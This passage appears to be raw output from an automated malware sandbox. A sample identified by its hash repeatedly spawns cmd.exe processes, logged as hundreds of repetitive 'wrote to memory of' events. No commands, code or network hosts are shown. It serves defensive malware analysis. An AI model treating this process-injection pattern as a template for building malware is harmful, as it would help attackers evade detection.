cmd.exe 820 PID 2008 wrote to memory of 1120 2008 cmd.exe 820 PID 2008 wrote to memory of 948 2008 cmd.exe 821 PID 2008 wrote to memory of 948 2008 cmd.exe 821 PID 2008 wrote to memory of 948 2008 cmd.exe 821 PID 2008 wrote to memory of 948 2008 cmd.exe 821 PID 948 wrote to memory of 1132 948 cmd.exe 822 PID 948 wrote to memory of 1132 948 cmd.exe 822 PID 948 wrote to memory of 1132 948 cmd.exe 822 PID 948 wrote to memory of 1132 948 cmd.exe 822 PID 2008 wrote to memory of 1840 2008 cmd.exe 823 PID 2008 wrote to memory of 1840 2008 cmd.exe 823 PID 2008 wrote to memory of 1840 2008 cmd.exe 823 PID 2008 wrote to memory of 1840 2008 cmd.exe 823 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 824 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 824 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 824 PID 1332 wrote to memory of 1004 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 824 PID 1004 wrote to memory of 1604 1004 cmd.exe 826 PID 1004 wrote to memory of 1604 1004 cmd.exe 826 PID 1004 wrote to memory of 1604 1004 cmd.exe 826 PID 1004 wrote to memory of 1604 1004 cmd.exe 826 PID 1004 wrote to memory of 1048 1004 cmd.exe 827 PID 1004 wrote to memory of 1048 1004 cmd.exe 827 PID 1004 wrote to memory of 1048 1004 cmd.exe 827 PID 1004 wrote to memory of 1048 1004 cmd.exe 827 PID 1004 wrote to memory of 1052 1004 cmd.exe 828 PID 1004 wrote to memory of 1052 1004 cmd.exe 828 PID 1004 wrote to memory of 1052 1004 cmd.exe 828 PID 1004 wrote to memory of 1052 1004 cmd.exe 828 PID 1052 wrote to memory of 624 1052 cmd.exe 829 PID 1052 wrote to memory of 624 1052 cmd.exe 829 PID 1052 wrote to memory of 624 1052 cmd.exe 829 PID 1052 wrote to memory of 624 1052 cmd.exe 829 PID 1004 wrote to memory of 2028 1004 cmd.exe 830 PID 1004 wrote to memory of 2028 1004 cmd.exe 830 PID 1004 wrote to memory of 2028 1004 cmd.exe 830 PID 1004 wrote to memory of 2028 1004 cmd.exe 830 PID 1332 wrote to memory of 1212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 831 PID 1332 wrote to memory of 1212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 831 PID 1332 wrote to memory of 1212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 831 PID 1332 wrote to memory of 1212 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 831 PID 1212 wrote to memory of 1108 1212 cmd.exe 833 PID 1212 wrote to memory of 1108 1212 cmd.exe 833 PID 1212 wrote to memory of 1108 1212 cmd.exe 833 PID 1212 wrote to memory of 1108 1212 cmd.exe 833 PID 1212 wrote to memory of 940 1212 cmd.exe 834 PID 1212 wrote to memory of 940 1212 cmd.exe 834 PID 1212 wrote to memory of 940 1212 cmd.exe 834 PID 1212 wrote to memory of 940 1212 cmd.exe 834 PID 1212 wrote to memory of 792 1212 cmd.exe 835 PID 1212 wrote to memory of 792 1212 cmd.exe 835 PID 1212 wrote to memory of 792 1212 cmd.exe 835 PID 1212 wrote to memory of 792 1212 cmd.exe 835 PID 792 wrote to memory of 1780 792 cmd.exe 836 PID 792 wrote to memory of 1780 792 cmd.exe 836 PID 792 wrote to memory of 1780 792 cmd.exe 836 PID 792 wrote to memory of 1780 792 cmd.exe 836 PID 1212 wrote to memory of 1196 1212 cmd.exe 837 PID 1212 wrote to memory of 1196 1212 cmd.exe 837 PID 1212 wrote to memory of 1196 1212 cmd.exe 837 PID 1212 wrote to memory of 1196 1212 cmd.exe 837 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 838 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 838 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 838 PID 1332 wrote to memory of 1932 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 838 PID 1932 wrote to memory of 1956 1932 cmd.exe 840 PID 1932 wrote to memory of 1956 1932 cmd.exe 840 PID 1932 wrote to memory of 1956 1932 cmd.exe 840 PID 1932 wrote to memory of 1956 1932 cmd.exe 840 PID 1932 wrote to memory of 2008 1932 cmd.exe 841 PID 1932 wrote to memory of 2008 1932 cmd.exe 841 PID 1932 wrote to memory of 2008 1932 cmd.exe 841 PID 1932 wrote to memory of 2008 1932 cmd.exe 841 PID 1932 wrote to memory of 300 1932 cmd.exe 842 PID 1932 wrote to memory of 300 1932 cmd.exe 842 PID 1932 wrote to memory of 300 1932 cmd.exe 842 PID 1932 wrote to memory of 300 1932 cmd.exe 842 PID 300 wrote to memory of 872 300 cmd.exe 843 PID 300 wrote to memory of 872 300 cmd.exe 843 PID 300 wrote to memory of 872 300 cmd.exe 843 PID 300 wrote to memory of 872 300 cmd.exe 843 PID 1932 wrote to memory of 844 1932 cmd.exe 844 PID 1932 wrote to memory of 844 1932 cmd.exe 844 PID 1932 wrote to memory of 844 1932 cmd.exe 844 PID 1932 wrote to memory of 844 1932 cmd.exe 844 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 845 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 845 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 845 PID 1332 wrote to memory of 1372 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 845 PID 1372 wrote to memory of 1096 1372 cmd.exe 847 PID 1372 wrote to memory of 1096 1372 cmd.exe 847 PID 1372 wrote to memory of 1096 1372 cmd.exe 847 PID 1372 wrote to memory of 1096 1372 cmd.exe 847 PID 1372 wrote to memory of 1940 1372 cmd.exe 848 PID 1372 wrote to memory of 1940 1372 cmd.exe 848 PID 1372 wrote to memory of 1940 1372 cmd.exe 848 PID 1372 wrote to memory of 1940 1372 cmd.exe 848 PID 1372 wrote to memory of 1184 1372 cmd.exe 849 PID 1372 wrote to memory of 1184 1372 cmd.exe 849 PID 1372 wrote to memory of 1184 1372 cmd.exe 849 PID 1372 wrote to memory of 1184 1372 cmd.exe 849 PID 1184 wrote to memory of 764 1184 cmd.exe 850 PID 1184 wrote to memory of 764 1184 cmd.exe 850 PID 1184 wrote to memory of 764 1184 cmd.exe 850 PID 1184 wrote to memory of 764 1184 cmd.exe 850 PID 1372 wrote to memory of 240 1372 cmd.exe 851 PID 1372 wrote to memory of 240 1372 cmd.exe 851 PID 1372 wrote to memory of 240 1372 cmd.exe 851 PID 1372 wrote to memory of 240 1372 cmd.exe 851 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 852 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 852 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 852 PID 1332 wrote to memory of 732 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 852 PID 732 wrote to memory of 1120 732 cmd.exe 854 PID 732 wrote to memory of 1120 732 cmd.exe 854 PID 732 wrote to memory of 1120 732 cmd.exe 854 PID 732 wrote to memory of 1120 732 cmd.exe 854 PID 732 wrote to memory of 1408 732 cmd.exe 855 PID 732 wrote to memory of 1408 732 cmd.exe 855 PID 732 wrote to memory of 1408 732 cmd.exe 855 PID 732 wrote to memory of 1408 732 cmd.exe 855 PID 732 wrote to memory of 1212 732 cmd.exe 856 PID 732 wrote to memory of 1212 732 cmd.exe 856 PID 732 wrote to memory of 1212 732 cmd.exe 856 PID 732 wrote to memory of 1212 732 cmd.exe 856 PID 1212 wrote to memory of 428 1212 cmd.exe 857 PID 1212 wrote to memory of 428 1212 cmd.exe 857 PID 1212 wrote to memory of 428 1212 cmd.exe 857 PID 1212 wrote to memory of 428 1212 cmd.exe 857 PID 732 wrote to memory of 2008 732 cmd.exe 858 PID 732 wrote to memory of 2008 732 cmd.exe 858 PID 732 wrote to memory of 2008 732 cmd.exe 858 PID 732 wrote to memory of 2008 732 cmd.exe 858 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 859 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 859 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 859 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 859 PID 1788 wrote to memory of 844 1788 cmd.exe 861 PID 1788 wrote to memory of 844 1788 cmd.exe 861 PID 1788 wrote to memory of 844 1788 cmd.exe 861 PID 1788 wrote to memory of 844 1788 cmd.exe 861 PID 1788 wrote to memory of 564 1788 cmd.exe 862 PID 1788 wrote to memory of 564 1788 cmd.exe 862 PID 1788 wrote to memory of 564 1788 cmd.exe 862 PID 1788 wrote to memory of 564 1788 cmd.exe 862 PID 1788 wrote to memory of 624 1788 cmd.exe 863 PID 1788 wrote to memory of 624 1788 cmd.exe 863 PID 1788 wrote to memory of 624 1788 cmd.exe 863 PID 1788 wrote to memory of 624 1788 cmd.exe 863 PID 624 wrote to memory of 616 624 cmd.exe 864 PID 624 wrote to memory of 616 624 cmd.exe 864 PID 624 wrote to memory of 616 624 cmd.exe 864 PID 624 wrote to memory of 616 624 cmd.exe 864 PID 1788 wrote to memory of 1004 1788 cmd.exe 865 PID 1788 wrote to memory of 1004 1788 cmd.exe 865 PID 1788 wrote to memory of 1004 1788 cmd.exe 865 PID 1788 wrote to memory of 1004 1788 cmd.exe 865 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 866 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 866 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 866 PID 1332 wrote to memory of 1984 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 866 PID 1984 wrote to memory of 2044 1984 cmd.exe 868 PID 1984 wrote to memory of 2044 1984 cmd.exe 868 PID 1984 wrote to memory of 2044 1984 cmd.exe 868 PID 1984 wrote to memory of 2044 1984 cmd.exe 868 PID 1984 wrote to memory of 1540 1984 cmd.exe 869 PID 1984 wrote to memory of 1540 1984 cmd.exe 869 PID 1984 wrote to memory of 1540 1984 cmd.exe 869 PID 1984 wrote to memory of 1540 1984 cmd.exe 869 PID 1984 wrote to memory of 1040 1984 cmd.exe 870 PID 1984 wrote to memory of 1040 1984 cmd.exe 870 PID 1984 wrote to memory of 1040 1984 cmd.exe 870 PID 1984 wrote to memory of 1040 1984 cmd.exe 870 PID 1040 wrote to memory of 1100 1040 cmd.exe 871 PID 1040 wrote to memory of 1100 1040 cmd.exe 871 PID 1040 wrote to memory of 1100 1040 cmd.exe 871 PID 1040 wrote to memory of 1100 1040 cmd.exe 871 PID 1984 wrote to memory of 1532 1984 cmd.exe 872 PID 1984 wrote to memory of 1532 1984 cmd.exe 872 PID 1984 wrote to memory of 1532 1984 cmd.exe 872 PID 1984 wrote to memory of 1532 1984 cmd.exe 872 PID 1332 wrote to memory of 1056 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 873 PID 1332 wrote to memory of 1056 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 873 PID 1332 wrote to memory of 1056 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 873 PID 1332 wrote to memory of 1056 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 873 PID 1056 wrote to memory of 1840 1056 cmd.exe 875 PID 1056 wrote to memory of 1840 1056 cmd.exe 875 PID 1056 wrote to memory of 1840 1056 cmd.exe 875 PID 1056 wrote to memory of 1840 1056 cmd.exe 875 PID 1056 wrote to memory of 1548 1056 cmd.exe 876 PID 1056 wrote to memory of 1548 1056 cmd.exe 876 PID 1056 wrote to memory of 1548 1056 cmd.exe 876 PID 1056 wrote to memory of 1548 1056 cmd.exe 876 PID 1056 wrote to memory of 928 1056 cmd.exe 877 PID 1056 wrote to memory of 928 1056 cmd.exe 877 PID 1056 wrote to memory of 928 1056 cmd.exe 877 PID 1056 wrote to memory of 928 1056 cmd.exe 877 PID 928 wrote to memory of 1168 928 cmd.exe 878 PID 928 wrote to memory of 1168 928 cmd.exe 878 PID 928 wrote to memory of 1168 928 cmd.exe 878 PID 928 wrote to memory of 1168 928 cmd.exe 878 PID 1056 wrote to memory of 1068 1056 cmd.exe 879 PID 1056 wrote to memory of 1068 1056 cmd.exe 879 PID 1056 wrote to memory of 1068 1056 cmd.exe 879 PID 1056 wrote to memory of 1068 1056 cmd.exe 879 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 880 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 880 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 880 PID 1332 wrote to memory of 336 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 880 PID 336 wrote to memory of 680 336 cmd.exe 882 PID 336 wrote to memory of 680 336 cmd.exe 882 PID 336 wrote to memory of 680 336 cmd.exe 882 PID 336 wrote to memory of 680 336 cmd.exe 882 PID 336 wrote to memory of 1788 336 cmd.exe 883 PID 336 wrote to memory of 1788 336 cmd.exe 883 PID 336 wrote to memory of 1788 336 cmd.exe 883 PID 336 wrote to memory of 1788 336 cmd.exe 883 PID 336 wrote to memory of 764 336 cmd.exe 884 PID 336 wrote to memory of 764 336 cmd.exe 884 PID 336 wrote to memory of 764 336 cmd.exe 884 PID 336 wrote to memory of 764 336 cmd.exe 884 PID 764 wrote to memory of 760 764 cmd.exe 885 PID 764 wrote to memory of 760 764 cmd.exe 885 PID 764 wrote to memory of 760 764 cmd.exe 885 PID 764 wrote to memory of 760 764 cmd.exe 885 PID 336 wrote to memory of 1540 336 cmd.exe 886 PID 336 wrote to memory of 1540 336 cmd.exe 886 PID 336 wrote to memory of 1540 336 cmd.exe 886 PID 336 wrote to memory of 1540 336 cmd.exe 886 PID 1332 wrote to memory of 1196 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 887 PID 1332 wrote to memory of 1196 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 887 PID 1332 wrote to memory of 1196 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 887 PID 1332 wrote to memory of 1196 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 887 PID 1196 wrote to memory of 1408 1196 cmd.exe 889 PID 1196 wrote to memory of 1408 1196 cmd.exe 889 PID 1196 wrote to memory of 1408 1196 cmd.exe 889 PID 1196 wrote to memory of 1408 1196 cmd.exe 889 PID 1196 wrote to memory of 1984 1196 cmd.exe 890 PID 1196 wrote to memory of 1984 1196 cmd.exe 890 PID 1196 wrote to memory of 1984 1196 cmd.exe 890 PID 1196 wrote to memory of 1984 1196 cmd.exe 890 PID 1196 wrote to memory of 428 1196 cmd.exe 891 PID 1196 wrote to memory of 428 1196 cmd.exe 891 PID 1196 wrote to memory of 428 1196 cmd.exe 891 PID 1196 wrote to memory of 428 1196 cmd.exe 891 PID 428 wrote to memory of 1364 428 cmd.exe 892 PID 428 wrote to memory of 1364 428 cmd.exe 892 PID 428 wrote to memory of 1364 428 cmd.exe 892 PID 428 wrote to memory of 1364 428 cmd.exe 892 PID 1196 wrote to memory of 1548 1196 cmd.exe 893 PID 1196 wrote to memory of 1548 1196 cmd.exe 893 PID 1196 wrote to memory of 1548 1196 cmd.exe 893 PID 1196 wrote to memory of 1548 1196 cmd.exe 893 PID 1332 wrote to memory of 844 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 894 PID 1332 wrote to memory of 844 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 894 PID 1332 wrote to memory of 844 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 894 PID 1332 wrote to memory of 844 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 894 PID 1960 wrote to memory of 1096 1960 cmd.exe 896 PID 1960 wrote to memory of 1096 1960 cmd.exe 896 PID 1960 wrote to memory of 1096 1960 cmd.exe 896 PID 844 wrote to memory of 1420 844 cmd.exe 897 PID 844 wrote to memory of 1420 844 cmd.exe 897 PID 844 wrote to memory of 1420 844 cmd.exe 897 PID 844 wrote to memory of 1420 844 cmd.exe 897 PID 844 wrote to memory of 616 844 cmd.exe 898 PID 844 wrote to memory of 616 844 cmd.exe 898 PID 844 wrote to memory of 616 844 cmd.exe 898 PID 844 wrote to memory of 616 844 cmd.exe 898 PID 844 wrote to memory of 204 844 cmd.exe 899 PID 844 wrote to memory of 204 844 cmd.exe 899 PID 844 wrote to memory of 204 844 cmd.exe 899 PID 844 wrote to memory of 204 844 cmd.exe 899 PID 204 wrote to memory of 216 204 cmd.exe 900 PID 204 wrote to memory of 216 204 cmd.exe 900 PID 204 wrote to memory of 216 204 cmd.exe 900 PID 204 wrote to memory of 216 204 cmd.exe 900 PID 844 wrote to memory of 236 844 cmd.exe 901 PID 844 wrote to memory of 236 844 cmd.exe 901 PID 844 wrote to memory of 236 844 cmd.exe 901 PID 844 wrote to memory of 236 844 cmd.exe 901 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 902 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 902 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 902 PID 1332 wrote to memory of 1940 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 902 PID 1940 wrote to memory of 992 1940 cmd.exe 904 PID 1940 wrote to memory of 992 1940 cmd.exe 904 PID 1940 wrote to memory of 992 1940 cmd.exe 904 PID 1940 wrote to memory of 992 1940 cmd.exe 904 PID 1940 wrote to memory of 940 1940 cmd.exe 905 PID 1940 wrote to memory of 940 1940 cmd.exe 905 PID 1940 wrote to memory of 940 1940 cmd.exe 905 PID 1940 wrote to memory of 940 1940 cmd.exe 905 PID 1940 wrote to memory of 764 1940 cmd.exe 906 PID 1940 wrote to memory of 764 1940 cmd.exe 906 PID 1940 wrote to memory of 764 1940 cmd.exe 906 PID 1940 wrote to memory of 764 1940 cmd.exe 906 PID 764 wrote to memory of 792 764 cmd.exe 907 PID 764 wrote to memory of 792 764 cmd.exe 907 PID 764 wrote to memory of 792 764 cmd.exe 907 PID 764 wrote to memory of 792 764 cmd.exe 907 PID 1940 wrote to memory of 336 1940 cmd.exe 908 PID 1940 wrote to memory of 336 1940 cmd.exe 908 PID 1940 wrote to memory of 336 1940 cmd.exe 908 PID 1940 wrote to memory of 336 1940 cmd.exe 908 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 909 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 909 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 909 PID 1332 wrote to memory of 904 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 909 PID 904 wrote to memory of 2008 904 cmd.exe 911 PID 904 wrote to memory of 2008 904 cmd.exe 911 PID 904 wrote to memory of 2008 904 cmd.exe 911 PID 904 wrote to memory of 2008 904 cmd.exe 911 PID 904 wrote to memory of 1884 904 cmd.exe 912 PID 904 wrote to memory of 1884 904 cmd.exe 912 PID 904 wrote to memory of 1884 904 cmd.exe 912 PID 904 wrote to memory of 1884 904 cmd.exe 912 PID 904 wrote to memory of 832 904 cmd.exe 913 PID 904 wrote to memory of 832 904 cmd.exe 913 PID 904 wrote to memory of 832 904 cmd.exe 913 PID 904 wrote to memory of 832 904 cmd.exe 913 PID 832 wrote to memory of 428 832 cmd.exe 914 PID 832 wrote to memory of 428 832 cmd.exe 914 PID 832 wrote to memory of 428 832 cmd.exe 914 PID 832 wrote to memory of 428 832 cmd.exe 914 PID 904 wrote to memory of 1900 904 cmd.exe 915 PID 904 wrote to memory of 1900 904 cmd.exe 915 PID 904 wrote to memory of 1900 904 cmd.exe 915 PID 904 wrote to memory of 1900 904 cmd.exe 915 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 916 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 916 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 916 PID 1332 wrote to memory of 1956 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 916 PID 1956 wrote to memory of 1056 1956 cmd.exe 918 PID 1956 wrote to memory of 1056 1956 cmd.exe 918 PID 1956 wrote to memory of 1056 1956 cmd.exe 918 PID 1956 wrote to memory of 1056 1956 cmd.exe 918 PID 1956 wrote to memory of 616 1956 cmd.exe 919 PID 1956 wrote to memory of 616 1956 cmd.exe 919 PID 1956 wrote to memory of 616 1956 cmd.exe 919 PID 1956 wrote to memory of 616 1956 cmd.exe 919 PID 1956 wrote to memory of 228 1956 cmd.exe 920 PID 1956 wrote to memory of 228 1956 cmd.exe 920 PID 1956 wrote to memory of 228 1956 cmd.exe 920 PID 1956 wrote to memory of 228 1956 cmd.exe 920 PID 228 wrote to memory of 216 228 cmd.exe 921 PID 228 wrote to memory of 216 228 cmd.exe 921 PID 228 wrote to memory of 216 228 cmd.exe 921 PID 228 wrote to memory of 216 228 cmd.exe 921 PID 1956 wrote to memory of 1524 1956 cmd.exe 922 PID 1956 wrote to memory of 1524 1956 cmd.exe 922 PID 1956 wrote to memory of 1524 1956 cmd.exe 922 PID 1956 wrote to memory of 1524 1956 cmd.exe 922 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 923 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 923 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 923 PID 1332 wrote to memory of 1168 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 923 PID 1168 wrote to memory of 1716 1168 cmd.exe 925 PID 1168 wrote to memory of 1716 1168 cmd.exe 925 PID 1168 wrote to memory of 1716 1168 cmd.exe 925 PID 1168 wrote to memory of 1716 1168 cmd.exe 925 PID 1168 wrote to memory of 940 1168 cmd.exe 926 PID 1168 wrote to memory of 940 1168 cmd.exe 926 PID 1168 wrote to memory of 940 1168 cmd.exe 926 PID 1168 wrote to memory of 940 1168 cmd.exe 926 PID 1168 wrote to memory of 1328 1168 cmd.exe 927 PID 1168 wrote to memory of 1328 1168 cmd.exe 927 PID 1168 wrote to memory of 1328 1168 cmd.exe 927 PID 1168 wrote to memory of 1328 1168 cmd.exe 927 PID 1328 wrote to memory of 792 1328 cmd.exe 928 PID 1328 wrote to memory of 792 1328 cmd.exe 928 PID 1328 wrote to memory of 792 1328 cmd.exe 928 PID 1328 wrote to memory of 792 1328 cmd.exe 928 PID 1168 wrote to memory of 1108 1168 cmd.exe 929 PID 1168 wrote to memory of 1108 1168 cmd.exe 929 PID 1168 wrote to memory of 1108 1168 cmd.exe 929 PID 1168 wrote to memory of 1108 1168 cmd.exe 929 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 930 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 930 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 930 PID 1332 wrote to memory of 1788 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 930 PID 1788 wrote to memory of 1840 1788 cmd.exe 932 PID 1788 wrote to memory of 1840 1788 cmd.exe 932 PID 1788 wrote to memory of 1840 1788 cmd.exe 932 PID 1788 wrote to memory of 1840 1788 cmd.exe 932 PID 1788 wrote to memory of 1884 1788 cmd.exe 933 PID 1788 wrote to memory of 1884 1788 cmd.exe 933 PID 1788 wrote to memory of 1884 1788 cmd.exe 933 PID 1788 wrote to memory of 1884 1788 cmd.exe 933 PID 1788 wrote to memory of 1932 1788 cmd.exe 934 PID 1788 wrote to memory of 1932 1788 cmd.exe 934 PID 1788 wrote to memory of 1932 1788 cmd.exe 934 PID 1788 wrote to memory of 1932 1788 cmd.exe 934 PID 1932 wrote to memory of 1364 1932 cmd.exe 935 PID 1932 wrote to memory of 1364 1932 cmd.exe 935 PID 1932 wrote to memory of 1364 1932 cmd.exe 935 PID 1932 wrote to memory of 1364 1932 cmd.exe 935 PID 1788 wrote to memory of 1196 1788 cmd.exe 936 PID 1788 wrote to memory of 1196 1788 cmd.exe 936 PID 1788 wrote to memory of 1196 1788 cmd.exe 936 PID 1788 wrote to memory of 1196 1788 cmd.exe 936 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 937 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 937 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 937 PID 1332 wrote to memory of 1408 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 937 PID 1408 wrote to memory of 1420 1408 cmd.exe 939 PID 1408 wrote to memory of 1420 1408 cmd.exe 939 PID 1408 wrote to memory of 1420 1408 cmd.exe 939 PID 1408 wrote to memory of 1420 1408 cmd.exe 939 PID 1408 wrote to memory of 616 1408 cmd.exe 940 PID 1408 wrote to memory of 616 1408 cmd.exe 940 PID 1408 wrote to memory of 616 1408 cmd.exe 940 PID 1408 wrote to memory of 616 1408 cmd.exe 940 PID 1408 wrote to memory of 596 1408 cmd.exe 941 PID 1408 wrote to memory of 596 1408 cmd.exe 941 PID 1408 wrote to memory of 596 1408 cmd.exe 941 PID 1408 wrote to memory of 596 1408 cmd.exe 941 PID 596 wrote to memory of 216 596 cmd.exe 942 PID 596 wrote to memory of 216 596 cmd.exe 942 PID 596 wrote to memory of 216 596 cmd.exe 942 PID 596 wrote to memory of 216 596 cmd.exe 942 PID 1408 wrote to memory of 1048 1408 cmd.exe 943 PID 1408 wrote to memory of 1048 1408 cmd.exe 943 PID 1408 wrote to memory of 1048 1408 cmd.exe 943 PID 1408 wrote to memory of 1048 1408 cmd.exe 943 PID 1332 wrote to memory of 1604 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 944 PID 1332 wrote to memory of 1604 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 944 PID 1332 wrote to memory of 1604 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 944 PID 1332 wrote to memory of 1604 1332 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe 944 PID 1604 wrote to memory of 992 1604 cmd.exe 946 PID 1604 wrote to memory of 992 1604 cmd.exe 946 PID 1604 wrote to memory of 992 1604 cmd.exe 946 PID 1604 wrote to memory of 992 1604 cmd.exe 946 PID 1604 wrote to memory of 940 1604 cmd.exe 947 PID 1604 wrote to memory of 940 1604 